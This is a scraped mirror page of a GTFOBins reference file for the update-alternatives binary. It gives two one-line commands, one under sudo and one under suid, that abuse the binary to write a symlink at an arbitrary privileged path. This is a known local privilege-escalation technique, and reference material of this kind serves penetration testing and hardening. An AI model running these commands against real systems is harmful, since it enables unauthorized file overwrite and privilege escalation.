This website requires JavaScript.
Explore
Help
Register
Sign In
mirror
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced
2025-12-29 11:41:40 +01:00
Code
Issues
08dfd05aee
GTFOBins.github.io
/
_gtfobins
/
update-alternatives.md
Andrea Cardaci
22899a5159
Improve update-alternatives
2020-11-17 18:54:53 +01:00
476 B
Raw
Blame
History
functions
sudo
suid
description
code
Write in `$LFILE` a symlink to `$TF`.
LFILE=/path/to/file_to_write TF=$(mktemp) echo DATA >$TF sudo update-alternatives --force --install "$LFILE" x "$TF" 0
description
code
Write in `$LFILE` a symlink to `$TF`.
LFILE=/path/to/file_to_write TF=$(mktemp) echo DATA >$TF ./update-alternatives --force --install "$LFILE" x "$TF" 0